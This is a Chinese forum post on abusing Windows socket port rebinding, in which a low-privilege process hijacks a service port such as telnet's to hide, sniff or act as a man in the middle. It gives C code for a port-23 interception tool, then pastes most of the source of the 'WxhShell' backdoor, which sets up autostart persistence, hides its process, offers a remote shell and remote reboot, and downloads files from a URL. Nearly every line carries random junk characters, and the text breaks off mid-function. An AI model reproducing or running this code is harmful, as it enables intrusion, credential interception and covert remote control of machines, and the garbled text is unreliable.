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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wxr}*Z:ZMa  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KG./<"c  
tIp\MXkTQ&  
  saddr.sin_family = AF_INET; YJtOdgG|q  
^!s}2GcS`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w|U@jr*H]  
f"}14V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CB7R{~ $  
^/RM;`h0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oY#XWe8Om  
]V[  
  这意味着什么?意味着可以进行如下的攻击: (^OC%pc  
<a/ZOuBzZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -B++V  
E4fvYV_ra  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w `9GygS  
C&MqUj"]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hE3jb.s(>  
J,2v~Dq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :r|P?;t(  
sC*E;7gT,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '1T v1  
xVmUmftD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (h(ZL9!  
uZ{xt6 f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #cg@Z  
a*ixs'MJ  
  #include Y&Nv>o_}5  
  #include hFF&(t2{^  
  #include dodz|5o%  
  #include    g&20F`.N*>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5;%xqdD  
  int main() ^rZ+H@p:6  
  { !ilDR<  
  WORD wVersionRequested; ZkG##Jp\>  
  DWORD ret; iO#xIl<  
  WSADATA wsaData; YH6 K-}  
  BOOL val; e @MCumc~+  
  SOCKADDR_IN saddr; m*WEge*$t  
  SOCKADDR_IN scaddr; M)It(K8R  
  int err; uqH! eN5  
  SOCKET s; D}=i tu  
  SOCKET sc; -cS4B//IK8  
  int caddsize; J!qEj{  
  HANDLE mt; O4+w2'.,  
  DWORD tid;   A^jm<~  
  wVersionRequested = MAKEWORD( 2, 2 ); mTu9'/$(  
  err = WSAStartup( wVersionRequested, &wsaData ); D.JVEKLkU  
  if ( err != 0 ) { J~ rC  
  printf("error!WSAStartup failed!\n"); #nL0Hx7]E  
  return -1; W8/6  
  } T</gWW  
  saddr.sin_family = AF_INET; K*D]\/;^  
   G&B}jj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =|^W]2W$  
%bETr"Xom  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");    r3K:  
  saddr.sin_port = htons(23); x=<>%m5R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uy28=B E  
  { gI$`d?[0{  
  printf("error!socket failed!\n"); }Qu 7o  
  return -1; ~|jy$*m4A  
  } :D7!6}%  
  val = TRUE; ?-p aM5Q+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v2<gkCK^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "lya|;  
  { ~DS9{Y  
  printf("error!setsockopt failed!\n"); u01^ABn  
  return -1; f)fw87UPc  
  } |#,W3Ik(l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m$j;FKz+|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BAed [  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 En%o7^W++  
3hjwwLKG$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?XrTZ{5'  
  { 'GT`% ck  
  ret=GetLastError(); /v<8x?=  
  printf("error!bind failed!\n"); `2+52q<FO  
  return -1; 0{uX2h  
  } .;Yei6H  
  listen(s,2); p =O1aM  
  while(1) {[#  
  { N_}Im>;!  
  caddsize = sizeof(scaddr); ou4?`JF)-  
  //接受连接请求 nr6U> KR^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LZ$!=vg4  
  if(sc!=INVALID_SOCKET) bsDUFXH]  
  { < duM8   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -I<`!kH*  
  if(mt==NULL) EPfVS  
  { breVTY7 S  
  printf("Thread Creat Failed!\n"); Tl-B[CT  
  break; >eI(M $  
  } qN(; l&Q  
  } D7wWk ,B  
  CloseHandle(mt); ;trR' ~  
  } KO7cZME  
  closesocket(s); Wb$bCR#?<  
  WSACleanup(); "=O)2}  
  return 0; B 8,{jwB  
  }   j'cS_R  
  DWORD WINAPI ClientThread(LPVOID lpParam) g Q^]/X  
  { 3 Q;l*xu  
  SOCKET ss = (SOCKET)lpParam; T9yW# .  
  SOCKET sc; 7 |A,GH  
  unsigned char buf[4096]; jiDYPYx;I  
  SOCKADDR_IN saddr; ,@MPzpH  
  long num; 3._fbAN%e  
  DWORD val; ?U[AE -*  
  DWORD ret; pj`-T"Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 irS62Xe  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j=LF1dG"  
  saddr.sin_family = AF_INET;  (w fZ!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^} #!?" Y  
  saddr.sin_port = htons(23); J.(_c ' r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^TGHWCK!t  
  { Dc2eY.  
  printf("error!socket failed!\n"); Uyh#g^r  
  return -1; s.R(3}/  
  } kzT'  
  val = 100; |ouk;r24V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >F v8 -  
  { J0k~%   
  ret = GetLastError(); &3efJ?8  
  return -1; t+tGN\q  
  } iD~s,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qZ.\GHS  
  { L.'N'-BV  
  ret = GetLastError(); $Z4p$o dk  
  return -1; ~cz t=  
  } A [JV*Dt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X"]ZV]7(]s  
  { s.U p<Rw  
  printf("error!socket connect failed!\n"); P'+*d#*S  
  closesocket(sc); *SZ<ori  
  closesocket(ss); ]c D!~nJ  
  return -1; Yp8$0KK  
  } nHX@  
  while(1) .6*A~%-=[d  
  { G(- `FH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \a#2Wm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sq%f%?(V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GUxhCoxb  
  num = recv(ss,buf,4096,0); <Aa%Uwpc  
  if(num>0) b#F3,T__`Y  
  send(sc,buf,num,0); [": x  
  else if(num==0) anbr3L[!  
  break; j'W)Nyw$[  
  num = recv(sc,buf,4096,0); 9 }=Fdt  
  if(num>0) JGtdbD?Fw  
  send(ss,buf,num,0); cG<?AR?wDT  
  else if(num==0) })":F  
  break; yC -4wn*  
  } C-(&zwj?!  
  closesocket(ss); \<5xf<{  
  closesocket(sc); /1Eg6hf9B  
  return 0 ; {0|^F!1z  
  } ms?h/*E<H  
~[C m#c  
TCVJ[LbJ  
========================================================== 9]Y@eRI<  
}} IvZG&  
下边附上一个代码,,WXhSHELL Y!5-WX H  
A >e%rx  
========================================================== @A:Xct  
qZ4DO*%b3  
#include "stdafx.h" }{[F+|\>,e  
VL\6U05Z  
#include <stdio.h> BUtXHD  
#include <string.h> !Ed';yfz\(  
#include <windows.h> E]68IuP@'  
#include <winsock2.h> Uu G;z5  
#include <winsvc.h> )0NA*<Q+.  
#include <urlmon.h> @Fo0uy\ G  
7y:J@fh<  
#pragma comment (lib, "Ws2_32.lib") RJ0w3T]7  
#pragma comment (lib, "urlmon.lib") 8^O|Aa$IF:  
Ef#%4ky  
#define MAX_USER   100 // 最大客户端连接数 IkD\YPL;  
#define BUF_SOCK   200 // sock buffer (`T:b1  
#define KEY_BUFF   255 // 输入 buffer BsxQW`>^y  
<h(tW  
#define REBOOT     0   // 重启 =x=#Etj|  
#define SHUTDOWN   1   // 关机 z7NaW e  
5{{u #W%=  
#define DEF_PORT   5000 // 监听端口 *C$ W^u5h  
GR/ p%Y(  
#define REG_LEN     16   // 注册表键长度 ZMbv1*Vt  
#define SVC_LEN     80   // NT服务名长度 'l2`05   
`a] /e  
// 从dll定义API 18F7;d N8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0rF{"HM~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wL~ dZ! ,J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0nBAO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JPmW0wM  
J3C"W7 94}  
// wxhshell配置信息 EyozhIV  
struct WSCFG { - v`;^X  
  int ws_port;         // 监听端口 o[_ {\  
  char ws_passstr[REG_LEN]; // 口令 V0"UFy?i  
  int ws_autoins;       // 安装标记, 1=yes 0=no [5>0om5  
  char ws_regname[REG_LEN]; // 注册表键名 L[D}pL=  
  char ws_svcname[REG_LEN]; // 服务名 \ 3ha  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {um~]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p,U.5bX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >!?u8^C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "QA!z\0\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  R:-^,/1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cSQvP.  
IX$ $pdQ  
}; m;k' j@:  
!'MZeiLP  
// default Wxhshell configuration njX!Ez  
struct WSCFG wscfg={DEF_PORT, y~jTI[kS  
    "xuhuanlingzhe", q8`JRmt)H  
    1, 1: XT r  
    "Wxhshell", *o`bBdZ  
    "Wxhshell", uee2WGD  
            "WxhShell Service", aOETmsw  
    "Wrsky Windows CmdShell Service", !Hxx6/  
    "Please Input Your Password: ", = T!iM2  
  1, Kb#py6  
  "http://www.wrsky.com/wxhshell.exe", )lE]DG!  
  "Wxhshell.exe" S!0<aFh  
    }; vaW, O/F  
7jvf:#\LtL  
// 消息定义模块 ,aU_bve  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k& 2U&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \IQf|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?l &S:` L  
char *msg_ws_ext="\n\rExit."; =LC:1zn4  
char *msg_ws_end="\n\rQuit."; Lp.,:z7  
char *msg_ws_boot="\n\rReboot..."; $~75/  
char *msg_ws_poff="\n\rShutdown..."; :D""c*  
char *msg_ws_down="\n\rSave to "; #"|</*% >  
E.R,'Y;x  
char *msg_ws_err="\n\rErr!"; AQw1,tGV  
char *msg_ws_ok="\n\rOK!"; .i) H1sD  
z1{kZk  
char ExeFile[MAX_PATH]; /PafIq  
int nUser = 0; 9LI #&\lba  
HANDLE handles[MAX_USER]; [Abq("9p\  
int OsIsNt; L'iENZ I$  
b3N1SC:Wn  
SERVICE_STATUS       serviceStatus; _0 Qp[l-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; omevF>b;  
@GNNi?EY  
// 函数声明 .B_LQ;0:   
int Install(void); o$)pJ#";F  
int Uninstall(void); l 8qCg/ew  
int DownloadFile(char *sURL, SOCKET wsh); mnh>gl!l  
int Boot(int flag); roSdcQTeT  
void HideProc(void); OGpy\0%  
int GetOsVer(void); Up*1j:_O  
int Wxhshell(SOCKET wsl); M=:!d$c  
void TalkWithClient(void *cs); ^yL6A1  
int CmdShell(SOCKET sock); ce7$r*@!  
int StartFromService(void); n;+CV~  
int StartWxhshell(LPSTR lpCmdLine); TwJiYXHw?  
:Aj8u\3!@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,< Zu4bww  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lQ(I/[qVd  
&\),V1"  
// 数据结构和表定义 Aj#bhv  
SERVICE_TABLE_ENTRY DispatchTable[] = N1/)F k-z  
{ *'[8FZ|dQ  
{wscfg.ws_svcname, NTServiceMain}, g^ .g9"  
{NULL, NULL} Lu?MRF f  
}; p)2 !_0  
@{/GdB,}  
// 自我安装 .\)`Xj[?  
int Install(void) [.:SV|AF#  
{ 3kqO5+,C  
  char svExeFile[MAX_PATH]; q9+`pj  
  HKEY key; 3lr9nBR  
  strcpy(svExeFile,ExeFile); I "Qf};n  
3mef;!q  
// 如果是win9x系统,修改注册表设为自启动 'C[{cr.`  
if(!OsIsNt) { GO&~)Vh&7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WX~: Y,l+u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nUb0R~wr$G  
  RegCloseKey(key); J)o.@+Q}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C?dQ QB$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lQ&"p+n  
  RegCloseKey(key); \iL{q^Im  
  return 0; )WWqi,T}  
    } =#=<%HPT  
  } KYw~(+gHv2  
} )}!Z^ND*  
else { TwfQq`  
&,*G}6wa;&  
// 如果是NT以上系统,安装为系统服务 }^Ymg7wA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h95a61a,Vy  
if (schSCManager!=0) xgp 6lO[  
{ wmV7g7t6  
  SC_HANDLE schService = CreateService OKo)p`BX  
  ( P55QE+B  
  schSCManager, wqnrN6$jf  
  wscfg.ws_svcname, W _b!FQ]  
  wscfg.ws_svcdisp, \:mZ)f3K=  
  SERVICE_ALL_ACCESS, VsU*yG a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , npCiqO  
  SERVICE_AUTO_START, g$/C-j4A[  
  SERVICE_ERROR_NORMAL, 1`& Yg(  
  svExeFile, f[ 'uka.U  
  NULL, Qr.SPNUFK  
  NULL, 9M12|X\]8  
  NULL, 3a Y^6&  
  NULL, 0 k (su  
  NULL !+EE*-c1c  
  ); *`]#ntz9  
  if (schService!=0) 8pXului  
  { F[@M?  
  CloseServiceHandle(schService); %|izt/B  
  CloseServiceHandle(schSCManager); aam6R/4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :aHLr[%Mz  
  strcat(svExeFile,wscfg.ws_svcname); ~bD'QMk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ).$q9G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \+#>XDD  
  RegCloseKey(key); Bj`ZH~T  
  return 0; CT0 ~  
    } ."u DM<  
  } y_:~  
  CloseServiceHandle(schSCManager); 4\Q pS  
} N|-'Fu  
} UFl+|wf  
%AJTU3=0  
return 1; eEmuE H@X  
} I]iTD  
=}K"@5J  
// 自我卸载 b haYbiX?  
int Uninstall(void) 7#[8td  
{ D.ERt)l>  
  HKEY key; |*5HNP  
_I/uW|>  
if(!OsIsNt) { t3 rQ5m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lF#p1H>\  
  RegDeleteValue(key,wscfg.ws_regname); cCB YM  
  RegCloseKey(key); p0sq{d~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MO%kUq|pg  
  RegDeleteValue(key,wscfg.ws_regname); :406Oa  
  RegCloseKey(key); [X^Oxs  
  return 0; GX#SCZ&}C  
  } 5Z_7Sc  
} 1+ib(MJ<:#  
} :cA%lKg  
else { AD>X'J u8  
  !XQq*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PC)aVr?@@  
if (schSCManager!=0) )aAKxC7w  
{ Ba#wW E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .^!<cFkCE  
  if (schService!=0) <,+nS%a  
  { =-%10lOI  
  if(DeleteService(schService)!=0) { ?2nF1>1  
  CloseServiceHandle(schService); =berCV  
  CloseServiceHandle(schSCManager); 'Da*MGu9  
  return 0; 60z8U#upM  
  } JU3to_Io  
  CloseServiceHandle(schService); A +41JMH  
  } 11YpC;[o  
  CloseServiceHandle(schSCManager); >_|$7m.?n[  
} jz$ ]"\G#  
} 8;v/b3  
<c.8f;1F  
return 1; 8)bqN$*h  
} .K`EflN  
),(HCzK`  
// 从指定url下载文件 {$QkerW3  
int DownloadFile(char *sURL, SOCKET wsh) qAW?\*n5N  
{ o2rL&  
  HRESULT hr; svvl`|n%  
char seps[]= "/"; 0sfb$3y  
char *token; 4 Kh0evZ  
char *file; EE5mVC&  
char myURL[MAX_PATH]; X" Upml  
char myFILE[MAX_PATH]; _b"K,[0o  
y$y!{R@   
strcpy(myURL,sURL); "[dfb#0z`  
  token=strtok(myURL,seps); %:}o\ _w  
  while(token!=NULL) p(6KJK\  
  { -?p4"[  
    file=token; xG WA5[YV  
  token=strtok(NULL,seps); N?2C*|%f  
  } _=_<cg y1u  
G| b I$   
GetCurrentDirectory(MAX_PATH,myFILE); 'E"W;#%  
strcat(myFILE, "\\"); {I8C&GS  
strcat(myFILE, file); v>/_U  
  send(wsh,myFILE,strlen(myFILE),0); kRqe&N e  
send(wsh,"...",3,0); gC+?5_=<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CUnBi?Mi  
  if(hr==S_OK) ^Lv )){t  
return 0; ,lcS J^yr  
else 5x"eM=  
return 1; s#H_ QOE  
.Ta(v3om%  
} rXR!jZ.hi  
\V#fl  
// 系统电源模块 ^^B~v<uK  
int Boot(int flag) H[RX~Xk2E  
{ -B& Nou  
  HANDLE hToken; {fJCj152.  
  TOKEN_PRIVILEGES tkp; E[cH/Rm  
"7Z-ACyF5  
  if(OsIsNt) { jG{OLF6 !  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :(iBLO<x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2ck0k,WP  
    tkp.PrivilegeCount = 1; IGOEqUw*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _#qfe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GOOm] ]I  
if(flag==REBOOT) { 6Ey@)p..E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )|/%]@` N  
  return 0; x4K A8  
} ~owodc  
else { wYr*('uT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^YJ%^P  
  return 0; wXtp(YwlH  
} XZ@ |(_Z  
  } ( k,?)  
  else { ]!j%Ad  
if(flag==REBOOT) { e/&^~ $h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >}:  
  return 0; FGzKx9I9  
} mV^~  
else { ]tzF Ob  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yfal'DqKF  
  return 0; dI|D c  
} *%Fu/  
} s94 *uZ(C/  
o7s!ti\G  
return 1; C57m{RH  
} PW82 Vp.  
rzs-c ?  
// win9x进程隐藏模块 Mo5b @ [  
void HideProc(void) :yRv:`r3Lt  
{ =^SxZ Bn  
`2hg?(ul  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0?}n(f!S  
  if ( hKernel != NULL ) Xdw pn+7s  
  { VFzIBgJ3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uuxVVgWp{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }8PO m#  
    FreeLibrary(hKernel); k(M:#oA!  
  } XT4Gz|k  
'y=N_/+s  
return; #f< v%  
} [h8s0  
TDUY&1[  
// 获取操作系统版本 EY:IwDA.}  
int GetOsVer(void) AL.psw-Il  
{ o+B)  
  OSVERSIONINFO winfo; dt^h9I2O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ![ sXR  
  GetVersionEx(&winfo); *yaS^k\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zh|9\lf  
  return 1; DzQ  
  else XbqMWQN*  
  return 0; Fs].Fa  
} y)U ?.@  
g;v;xlY`N  
// 客户端句柄模块 l?=\9y  
int Wxhshell(SOCKET wsl) :aK?DtZ  
{ ,zltNbu\.(  
  SOCKET wsh; /("7*W2  
  struct sockaddr_in client; s2#Ia>5!  
  DWORD myID; ==&  y9e  
LP=j/qf|  
  while(nUser<MAX_USER) r!+{In+Z  
{ xC,x_:R`  
  int nSize=sizeof(client); ~Ix2O   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KWZhCS?[(  
  if(wsh==INVALID_SOCKET) return 1; %VH,(}i  
aL( hWE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sl `jovT[Y  
if(handles[nUser]==0) qD4]7"9  
  closesocket(wsh); >m>F {v  
else 0Gc@AG{  
  nUser++; l2qvYNMw  
  } ) ](ls@*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ic9L@2m  
%'yrIR  
  return 0; d=PX}o^  
} !g9k9 l  
RqtBz3v  
// 关闭 socket ]7O<|8n!d  
void CloseIt(SOCKET wsh) RZzHlZ  
{ 4"|Xndh1.  
closesocket(wsh); IHni1  
nUser--; MLu!8dgI  
ExitThread(0); G aV&y  
} d )O^(y1r  
(4T0U5jgT  
// 客户端请求句柄 6 Rl[M+Q  
void TalkWithClient(void *cs) (?fU l$q\  
{ YV<y-,Io  
]>t~Bcn m  
  SOCKET wsh=(SOCKET)cs; j#1G?MF  
  char pwd[SVC_LEN]; 6^wI^`NI  
  char cmd[KEY_BUFF]; X.eOw>.  
char chr[1]; D%p*G5Bg3  
int i,j; `RL Wr,h  
q 84*5-  
  while (nUser < MAX_USER) { z uV%`n  
 Y~WdN<g  
if(wscfg.ws_passstr) { @- STo/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^#Ha H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s;BMj^x  
  //ZeroMemory(pwd,KEY_BUFF); /MGapmqV9  
      i=0; >A$L&8'C  
  while(i<SVC_LEN) { ; oyV8P$  
hOY@vm&  
  // 设置超时 b=,B Le\  
  fd_set FdRead; m/KaWrw/)  
  struct timeval TimeOut; m+<&NDj.  
  FD_ZERO(&FdRead); <]qNjsdb9"  
  FD_SET(wsh,&FdRead); BJj'91B[d  
  TimeOut.tv_sec=8; rwRZGd *p  
  TimeOut.tv_usec=0; ;W,* B.~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !l (Vk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %Mda<3P  
q)?%END  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q Gk.7wf%  
  pwd=chr[0]; KD kGQh#9  
  if(chr[0]==0xd || chr[0]==0xa) { Uwc%'=@  
  pwd=0; ;m]V12  
  break; x MJ-=  
  } Kh]es,$D  
  i++; y2A\7&7  
    } h/Mt<5  
<Wn~s=  
  // 如果是非法用户,关闭 socket 1)X|?ZD]F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '12m4quO  
} ynsYU(  
u$\.aWol  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); REh"/d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F*k =JL  
'.v;/[0  
while(1) { ]46h!@~aC  
o?a2wY^_  
  ZeroMemory(cmd,KEY_BUFF); C*YQ{Mz(f  
G8repY  
      // 自动支持客户端 telnet标准   V^s, 3C  
  j=0; >WZ.Dj0n  
  while(j<KEY_BUFF) { IVxJN(N^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RuHDAJ"&a  
  cmd[j]=chr[0]; @/#G2<Vp1  
  if(chr[0]==0xa || chr[0]==0xd) { 1I2n dt  
  cmd[j]=0; ]xS%E r  
  break; EZj rX>"#  
  } qjRbsD>  
  j++; 27Gff(  
    } ,zjz "7'  
ndQw>  
  // 下载文件 p W[TufTa  
  if(strstr(cmd,"http://")) { ^@x&n)nzP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X!hzpg(`hR  
  if(DownloadFile(cmd,wsh)) 6GuTd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m+M^we*R  
  else @kSfF[4H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x}ZXeqt{ {  
  } P*k n}:  
  else { 1 Ne;U/  
PVi;h%>Y  
    switch(cmd[0]) { );HhV,$n  
  B/16EuH#  
  // 帮助 6EY\  
  case '?': { U9BhtmY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,tXI*R  
    break; %Ja0:e  
  } I?1 BGaAA  
  // 安装 jct=Nee|  
  case 'i': { }>iNT.Lvd  
    if(Install()) fx>QP?Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yFm88  
    else |zRrGQY m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~"*W;|)  
    break; otaRA  
    } A#`$#CO  
  // 卸载 bRggt6$z  
  case 'r': { 8yIBx%"4MH  
    if(Uninstall()) +L=Xc^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }S*]#jr&  
    else B W)@.!C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VOYQ<tg  
    break;  "O# V/(  
    } *|q{(KX  
  // 显示 wxhshell 所在路径 K:13t|  
  case 'p': { vMY!Z1.*  
    char svExeFile[MAX_PATH]; qQf NT.  
    strcpy(svExeFile,"\n\r"); Fsl="RB7f  
      strcat(svExeFile,ExeFile); %$Fe[#1  
        send(wsh,svExeFile,strlen(svExeFile),0); #t2N=3dOj  
    break; g3Q;]8Y&  
    } K/(QR_@?  
  // 重启 Ne;0fk O  
  case 'b': { "([gN:   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); | oOAy  
    if(Boot(REBOOT)) 0i5S=L`j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Cj_z  
    else { /:!l&1l:p  
    closesocket(wsh); $KT)Kz8tF  
    ExitThread(0); -cJ,rrN_9  
    } VcsM Da  
    break; Af@\g-<W_  
    } M*cF'go  
  // 关机 <H#0pFB  
  case 'd': { @0 x   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !5h8sD;  
    if(Boot(SHUTDOWN)) ukVBC"Ny  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = [: E  
    else { CY.92I@S  
